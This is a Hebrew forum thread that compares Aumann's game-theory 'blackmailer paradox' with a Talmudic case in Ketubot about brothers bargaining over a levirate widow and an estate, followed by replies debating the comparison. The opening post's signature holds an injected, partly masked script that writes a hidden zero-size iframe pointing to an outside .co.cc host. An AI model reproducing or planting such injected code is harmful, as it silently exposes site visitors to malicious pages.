בית פורומים עצור כאן חושבים

תורת המשחקים בתלמוד: פרדוקס הסחטן של יבם ואחיו

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-6/5/2015 12:50 לינק ישיר 
תורת המשחקים בתלמוד: פרדוקס הסחטן של יבם ואחיו

 

תורת המשחקים היא תחום מחקר שקיים במתמטיקה ובפסיכולוגיה ובכלכלה. במשפט אחד כוללני מדי: כיצד רציונלי, כלומר כדאי, להתנהג בנסיבות שבהן כל אחד מן הצדדים רוצה להשיג את המכסימום האפשרי?

משחק לדוגמא: ראובן ושמעון מקבלים לחלק ביניהם סכום של מאה שקלים. עליהם להגיע להסכמה כיצד לחלקו. הצדק לכאורה הוא שיתחלקו חצי חצי. אבל ראובן יכול להציע חלוקה אחרת. 70 אחוזים כלומר 70 שקלים מול 30, או 80 מול 20. אם שמעון יסרב, לא יהיה להם כלום. אבל אז גם ראובן יפסיד. מה כדאי לשמעון לעשות? מה יקרה בפועל?

השאלה הזו נבחנה גם במתמטיקה וגם בפסיכולוגיה. ישראל אומן, שזכה כידוע בפרס נובל על מחקריו, קרא לה "פרדוקס הסחטן" (וגם נתן לה יישום פוליטי בארצנו הקטנטונת, אבל בלי פוליטיקה! אמרתי: בלי פוליטיקה!).

בשלבים כלשהם מגיע לשאלות מתמטיות או כלכליות סבוכות בין שיטות ניתוח (אומן נגד טברסקי, לפי המבואר בויקי על שמו. http://he.wikipedia.org/wiki/%D7%99%D7%A9%D7%A8%D7%90%D7%9C_%D7%90%D7%95%D7%9E%D7%9F).

 

תרומתי הצנועה לדיון היא להראות היכן האירוע הזה נזכר בסוגיה תלמודית. וזה ממש אצלנו, בדף היומי.

תלמוד בבלי מסכת כתובות דף פא עמוד ב

ההוא גברא דנפלה ליה יבמה בפומבדיתא.

בעי אחוה למפסלה לה בגיטא מיניה.

א"ל: מאי דעתיך? משום נכסי? אנא בנכסי פליגנא לך

 

קודם כל תירגום ואחר כך הסבר:

 

אותו איש נפלה לפניו יבמה בעיר פומבדיתא.

רצה אחיו לפסול אותה עליו על ידי נתינת גט.

אמר לו: מה רצונך? נכסים? אחלוק איתך בנכסים חצי חצי!

 

עכשו הסבר:

לפי הדין, זכותו של "אותו האיש" היתה לייבם אותה, לא כפי שנוהגים היום בחליצה.

זכות היתה דווקא שלו ולא של אחיו, בגלל שהוא היה הבכור. זה לא כתוב, אבל זה מובן מן ההקשר. דרכו של הסיפור בתלמוד לספר מעט ועל הלומד להבין לפי הנחות היסוד הידועות.

למי שאינו יודע עדיין, היבם מקבל לא רק היבמה – אשה ש"זיכו לו מן השמים" לפי הגמרא - אלא גם את כל הרכוש של אחיו המנוח. עצוב מאד, אבל רווחי.

למעיינים אעיר שיש לשאול מה היה אומר כאן התנא אבא שאול. הלא הוא סובר שכל המייבם לשם אישות ולפיכך גם לשם כסף כאילו פגע בערוה. האם הסוגיה שלנו היא לפיו או לפי חכמים החולקים עליו? אבל זו רק הערה צדדית לנושא שלנו.

לכאורה הכל קל ופשוט, אבל אחיו התקנא בו ורצה לקלקל לו. איך? ובכן, אם הוא נותן לה גט, שאינו מועיל מן התורה, עדיין הוא מקלקל את הייבום. ואז האלמנה זקוקה לחליצה (משניהם, כפי שלמדנו במסכת יבמות).

ואם היא מקבלת חליצה, הנכסים מתחלקים שוה בשוה בין היורשים, שני האחים.

האח הקטן אם כן נמצא במצב של הסחטן, שיכול לקלקל לאחיו הגדול את הכל. למנוע ממנו, מכוח תקנה דרבנן, לקבל גם את האשה וגם את כל הרכוש.

מה עשה האח הגדול? הציע לאחיו חלוקה שוה בנכסים, בעודו מקבל את היבמה.

שמתם לב שלא שאלו את היבמה מה היא רוצה. יתכן שהיא לא התנגדה, ויתכן שבאמת לא שאלו אותה...

אם ננסה לנתח את המצב בכלים של תורת המשחקים, נראה שזה דומה מספיק למקרה המפורסם של "הסחטן". הסחטן הוא האח הצעיר דווקא, מפני שהאח הגדול מקבל באופן אוטומטי את הזכות לייבם ולרשת את הכל. אפשר כמובן לטעון שמדוע להתחיל דווקא בנקודה זו, אבל צריך להתחיל היכן שהוא, ובנסיבות התלמודיות זה נתון שלאח הגדול יש יתרון.

האח הצעיר, אם הוא רוצה להיות סחטן, צריך לא רק לסרב, כלומר להתנגד לחלוקה, מכיון שאיש לא שואל אותו. עליו לעשות מעשה של ממש. כלומר, לתת ליבמה גט.

אבל זה אפשרי. לא הגון, אבל אפשרי. (אפשר גם לשאול מדוע זה לא הגון. יש תשובה, אבל מי מוכן לנסח אותה?).

האח הצעיר אם כן עושה את המהלך שלו ומאיים בגט. האח הגדול אינו יכול להספיק לייבם לפני שהגט יגיע לידי היבמה ויקלקל הכל. עליו אם כן למצוא פשרה.

האח הגדול עושה את הצעד שלו. מה דעתך על חצי חצי, הוא שואל את הצעיר.

עד כאן הסיפור. ועלינו לשער, גם לפי ההמשך, שהאח הצעיר הסכים לחלוקה. האח הגדול קיבל את האשה.

סוף טוב הכל טוב, מפני שכאן נכנס שיקול חדש שמופיע מייד בהמשך. מתברר שההבטחה של האח הגדול לחלוק בנכסים אינה מחייבת אותו לחלוק. יש דיון ארוך בגמרא בהמשך איך ומתי והאם חלוקה כזו יכולה לחול.

לפי הנראה, האח הגדול לא רק קיבל את היבמה, אלא גם נשאר עם כל הרכוש. אכן כפי שהיה אמור להיות מראש.

האם הוא ידע שזה מה שיקרה? לא ברור כל כך, מפני שאם נחלקו אמוראים בדבר, אז יתכן שהוא התכוון במלוא הרצינות לחלוק, אבל מסתבר גם שאחרי שהתברר לו שהחלוקה תלויה ברצונו הטוב, לא התקשה לשכנע את עצמו שהבטחה אומללה באונס לאחיו אינה טעונה מימוש בפועל. הוא, הצעיר, עשה שלא כהוגן, ואיים בגט, אז גם הוא, הגדול, יעשה לו שלא כהוגן ולא יתחלק.

מה היה בסוף? יתכן שיש לנו הזדמנות לדעת זאת, וכך גם סברו המפרשים, מפני שאותו סיפור קרה שוב בהפרש לא גדול של זמן ומקום (וגם דפי גמרא, אבל זה כמובן לא מוכיח כלום מבחינת הריחוק ההיסטורי).

תלמוד בבלי מסכת כתובות דף פב עמוד א

ההוא גברא דנפלה ליה יבמה במתא מחסיא.

בעא אחוה למיפסלה בגיטא מיניה.

אמר ליה: מאי דעתיך? אי משום נכסי, אנא בנכסי פליגנא לך.

אמר ליה: מסתפינא דעבדת לי כדעביד פומבדיתאה רמאה...

אמר ליה: אי בעית פלוג לך מהשתא.

 

תירגום:

אותו האיש נפלה לפניו יבמה בעיר מתא מחסיא.

רצה אחיו לפסול אותה בגט (כמו קודם).

אמר לו: מה רצונך? אם בגלל הנכסים, נתחלק חצי חצי.

אמר לו: אני פוחד שתעשה לי כאותו פומבדיתאי רמאי.

אמר לו: אם רצונך, נחלוק כבר מעכשו (לפני הייבום).

 

ובכן, אותו סיפור חוזר על עצמו בעיר אחרת. מתברר שהסיפור הראשון עשה לו כנפים. ולא רק בבתי המדרש.

מעניין שהאח הגדול מוגדר כאן בתור "פומבדיתאי רמאי". המפרשים עמלו להסביר אם זו רמאות ומדוע. אענה אף אני את חלקי. וצריך לבדוק מה היתה כוונתו של האח הגדול בזמן ההצעה ואיך יש להתייחס לסוף, כאשר יכול היה לחלוק ולא עשה כן.

בהתחלה, כשהציע חלוקה, האם זו רמאות? לדעתי, לא. ראשית, אין זה ברור שהאח הגדול התכוון באמת לרמות. מי אומר שידע את הדין? הסוגיה המורכבת מוכיחה שזה לא פשוט. שנית, מי שמרמה כדי להציל את שלו, האם "רמאי" ייאמר לו? האם לא למדנו מיעקב אצל לבן שעם עיקש תתעקש?

שנית, לגבי הסוף. אז אם מקבלים את הטענה ש"הוא עשה שלא כהוגן – הצעיר – אז עושים עמו שלא כהוגן ואין מקיימים את ההבטחה" אז אין כאן טענה נגד הגדול. ועוד משהו, ממש פורמלי. האם מי שמבטיח לחלוק נכסים ואינו מקיים נכשל ברמאות או בעבירה אחרת? נניח לשאלה הזו...

לפיכך, אני קראתי את הגמרא כך שהביטוי "פומבדיתאי רמאי" בעצם משקף את התייחסותו של האח הצעיר ממתא מחסיא. אדם תמיד מזדהה עם מי שקרוב אליו. האח הצעיר של מתא מחסיא מזדהה עם האח הצעיר של פומבדיתא. מדוע שהאח הגדול יקבל הכל? הה?

איך היה סוף המעשה בסיפור הסחטן – כוונתי במינוח של תורת המשחקים, כמובן – במתא מחסיא? ובכן, יתכן שגם הוא לא קיבל כלום, מפני שהגמרא מכריעה שגם הצעה לחלוק לפני וגם הצעה לחלוק אחרי אינן מחייבות. לפירוט יש לעיין בסוגיות שם ובראשונים...

אז מה היה לנו? שני סיפורים של "פרדוקס הסחטן" שבהם צד אחד ניצח. כמובן, אם האח הצעיר היה יודע ששום דבר לא יועיל לו כדי לקבל את חצי הרכוש, בוודאי היה מייד נותן גט ופוסל, עד כמה שזה לא הגון. או שהיה מבטיח את האינטרסים שלו על ידי קנין בבית דין חשוב או בכל אופן שזה מועיל.

זו כמובן העצה להתנהגות רציונלית אם ההתנהגות הרציונלית מחפשת להתעשר על חשבון יתרון הלכתי של האח הגדול. כידוע, לנהוג לפי ההלכה, גם אם זה עולה כסף, זה עדיין דבר של מעלה. וגם להימנע מסכסוך משפחתי על כסף זה דבר ראוי מאד...

שאלה שאיני יודע איך לענות עליה היא: אם נגיד שהאח הגדול קיבל את הכל בשני המקרים, האם זה נצחון של הטוב?

__כמה בעיות יש בנסיון לשלוח הודעה בימינו! מה קורה עם האתר הזה?!_______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 06/05/2015 12:51:32




דווח על תוכן פוגעני

מנותק
נשלח ב-7/5/2015 16:43 לינק ישיר 

האם כל כך גרוע לדון על זה כאנקדוטה מעניינת?
נ.ב. בהתחלה חשבתי שחצי הוא כניעה מושלמת לפרדוקס (הסחטן) [הדרשן] אבל עכשיו אני רואה כדברי מיימוני שהכניעה המושלמת היא לתת לו את כל הנכסים. אלא שיש לו מה להפסיד החל מ51% ואז הוא מפסיק להיות דרשן, על כן לפי תורת המשחקים יש להציע לו 51%.



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/5/2015 16:30 לינק ישיר 

מיימוני
אני עדיין לא רואה איך זה מיעל את הדיון.
אם כבר, אני חושב להיפך, ובמיוחד שאין כאן מישהו שמבין ממש משהו בתורת המשחקים (אפילו המונח הבסיסי ביותר - שיווי משקל - נעדר מהדיון). יכול להיות שמישהו שמבין משהו בתורת המשחקים יכול לעשות משהו מועיל בשילוב גמ' ותורת המשחקים (אבל העובדה היא שזה לא נעשה; העניין עם אומן באשכול הסמוך לא קשור לתורת המשחקים), אבל אני לא רואה איך השילוב שלך הועיל לדיון - בגמ' או בתורת המשחקים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/5/2015 10:31 לינק ישיר 

יש שאל שאלה גדולה: מדוע זה חשוב לדון בנושא וכל שכן להביאו לכאן?

וזה מפליא שלא שאלתי את עצמי את השאלה הפשוטה הזו, שצריך לשאול לפני כל תגובה בפורום וכל שכן לפני פתיחת אשכול, וגם כאשר מחלקים את הזמן בסדר היום.

התשובה נוגעת לשני צדדים:

מצד התורה והגמרא - זה לימוד. זה היבט חדש לבחון בו את הסוגיה. מתברר שהשאלה על האח שצריך לפייס בכסף כדי לייבם בלי הפרעות היא גם דוגמא לניתוח פעילות שפותח בימינו.

נכון, אפשר בהחלט ללמוד את הסוגיה בלי להזדקק למערכת המושגים הזו, אבל סבורני שהיא מייעלת את הלימוד.

מצד תורת המשחקים, יש לנו כאן דוגמא הראויה לניתוח. היא עוסקת במעמד לא שויוני. יש צד אחד שמלכתחילה הכל היה בידו, והצד השני יכול לקלקל.

מה שלא נעשה בין האחים הוא ניהול מו"מ כפי שיש, לפחות תיאורטית, בתורת המשחקים, כאשר זה מציע פחות וזה דורש יותר. מסתבר שהאח הגדול הבין שאחיו רוצה חצי הנכסים ולכן רצה להבטיח לעצמו את היבמה. אבל אם זה מה שעניין אותו, היה האח הצעיר יכול ללחוץ לקבל יותר. ממה נפשך, או שאקלקל אותה בגט ונתחלק בנכסים, או, אם אתה רוצה את היבמה, תן לי משהו עבורה, קצת יותר מחצי הנכסים. כמה? בוא נדון.

(כמובן, לא חשבתי עדיין על כל הפרטים האלו כשכתבתי, אבל הבנתי שאלו הם דברים שצריך לפתח ולכן שיערתי שזה יהיה נושא מעניין לכולנו).

אשר לשם "פרדוקס הסחטן". אם זה לא שם נכון, אני מתנצל על הטעות. קראתי על המשחק המתמטי של חלוקה שצד אחד לפחות יכול לקלקל ולהגיע למצב אפס בכמה מקומות, אבל לא זכרתי את השם הטכני, וחיפוש מהיר באינטרנט מצא את הכינוי הזה. אם יש לו שם יותר מדוייק, נא לציין, ואשנה את הכותרת.

ושוב, בלי פוליטיקה...

***
כפי שכתבתי בתחילת דברי, הדיון על החלוקה שייך לפי מה שידוע לי למתמטיקה (תורת המשחקים) לפסיכולוגיה (הבנת המניעים האנושיים והבחירות, כולל השאלה שראיתי מובאת בויקי, האם בני אדם מחליטים לפי כללים ומהיכן הם נובעים, וזה גם פילוסופיה), וכלכלה, כי מדובר בחלוקת משאבים.

אך יש כאן גם פן ערכי. מה ראוי לעשות, ובאיזו מידה בני אדם מונעים על ידי או גם על ידי שאלה ערכית. האם דרישת האח הצעיר לחלוקת נכסים יש לה הצדקה? אתית? הלכתית? הוא ודאי מאיים בקלקול מצות יבמין, אם כי זה יוליך לחליצה (אלא שכאן מניחים שייבום עדיף).

זה גם מעורר את השאלה שטרם נזקקנו לה מדוע האח המייבם מקבל את נכסי המת. האם להתרעם על זה ולרצות לחלק את הנכסים בין כל האחים זה דבר פסול? אפשר לענות: התורה אמרה, וזהו. ועדיין יש כאן מקום לחשוב.

***
תודה על המקורות לכך שלפומבדיתאים יצא שם של רמאים. הייתי צריך להזכיר זאת. וזה מעורר את השאלה אם זה תרבותי (חינוך או "חינוך" מקומי?). בכל אופן, כל השאלות עד כאן לא היו קשורות בהכרח למידת נטיית בני פומבדיתא לרמאות. והרי ראינו שאותה בעיה של אח צעיר שרוצה מחצית מהנכסים ומאיים על הייבום מופיעה גם במתא מחסיא.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/5/2015 21:45 לינק ישיר 

ברור שזה מנתח אסטרטגיה, אבל 'פרדוקס הסחטן' מוסבר על ידי ההתנהגות הלא הוגנת (העובדה שבניסויים לא מגיעים לשיווי המשקל ה'צפוי' מוסברת בכך שההצעה לא הוגנת).
הכינוי הוא לא שם למצב מתמטי, אלא לרעיון תיאורטי שאומן רוצה להביע. זוהי ורסיה לא מספיק מוגדרת של משחק האולטימטום שהוא כינוי זוהר למצב מתמטי כמו דילמת האסיר. [אם זה עדיין לא ומבן, אז אומן מנצל את המוניטין שלו במתמטיקה כדי להשפיע על השיח הפוליטי הישראלי]



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 21:38 לינק ישיר 

והכינוי אינו יותר משם נוצץ למצב מתמטי, בדיוק כמו דילמת האסיר. ובדיוק כמו תורת המשחקים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 21:37 לינק ישיר 

סיכום מאמר של פרופ' אומן על פרדוקס הסחטן בנושא הנ"ל קישור הוא עצמו מדגיש ש'ככל מדע גם תורת המשחקים אינה מתיימרת לחוות דעה בנושאים ערכיים - מוסריים, אלא לנתח אסטרטגית את התנהגותם של צדדים יריבים'.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 20:57 לינק ישיר 

אריאל73 כתב:
הסחטן הוא לאו דוקא כינוי שלילי, ככלל, תורת המשחקים אינה עוסקת בשיפוט מוסרי של התנהגות.

פרדוקס הסחטן מטרתו היא להראות כיצד מישהו מרוויח משהו באופן לא 'הוגן'. הכינוי הוא לחלוטין שלילי.
תורת המשחקים אינה עוסקת בשיפוט מוסרי. זה כמובן נכון (ולא רק ככלל), אבל היא מראה כיצד כדאי להתנהג בהינתן כל מיני תנאים, כאשר אחד מהם למשל הוא שצד אחד אינו מוסרי.
אגב, ההצגה של פרדוקס הסחטן שהובאה, היא מאומן, כאשר מטרתו היא לדון במו"מ במזה"ת, ועניינו הוא בהחלט מוסרי (הוא מניח שאנחנו צודקים והצד השני סחטן). אכן, ההצגה הזו אינה תורת משחקים (כפי שכבר כתבתי; פשוט המודל כמעט ולא מוגדר) אלא וולגריזציה של תורת המשחקים שאומן עושה לצרכים הסברתיים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 20:40 לינק ישיר 

אשר לעניין פובדיתאה רמאה, ראה ב"ב מו. תא אחוי לך רמאי דפומבדיתא מאי עבדי. וחולין קכז. פומבדיתאה לוויך שני אושפיזך (אם ליוה אותך בן פומבדיתא למלון, החלף מלון)
הסחטן הוא לאו דוקא כינוי שלילי, ככלל, תורת המשחקים אינה עוסקת בשיפוט מוסרי של התנהגות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 19:53 לינק ישיר 

אני חושב שדעת היבמה לא הובאה לא בכדי שנדון עליה. לשון אחר: דעת היבמה לא עניינה אף אחד.
אני בטוח שאמשלום תהיה גאה במיימוני שהעלה קריאה תלמודית פמיניסטית.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 19:43 לינק ישיר 

ובמקרה הזה גם אין אפשרות להציע לאח הצעיר פחות ממחצית מלאה, כל השאלה היא אם הוא יוכל לשאת אותה או לא.

לעניין השאלה מה דעת היבמה, זה באמת לא תלוי בה כי אם תסרב יכתבו לה איגרת מרד, אבל נראה שהיא הייתה מעוניינת להתייבם, כי אחרת היא הייתה מציעה לאח משהו כדי שייתן לה גט. אך אם האח רוצה להפריע הוא יכול כי גט ניתן בעל כרחה מדין הגמרא


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/5/2015 17:23 לינק ישיר 

הבדלים בין המקרה בגמ' ל'פרדוקס הסחטן':
א. אנו קוראים לו סחטן מתוך תפישה שההצעה שלו לא הוגנת (כשלא ממש ברור מה הבסיס לקביעה הזו). בגמ' קשה לקבוע שהצעתו לא הוגנת.
ב. בפרדוקס, הסחטן מסתכן בכך שהצד השני ישבור את הכלים. כאן אין לו שום סיכון.

מה שבכל מקרה לא הבנתי, ואני אשמח אם תסביר לי, הוא מה התועלת שאתה מוצא בקישור בין הגמ' הזו לתורת המשחקים? האם תורת המשחקים יכולה לתת לנו איזה כלי להבנת הגמ'? האם זו סתם אנקדוטה (חסרת חשיבות)?



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > תורת המשחקים בתלמוד: פרדוקס הסחטן של יבם ואחיו
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר

bholext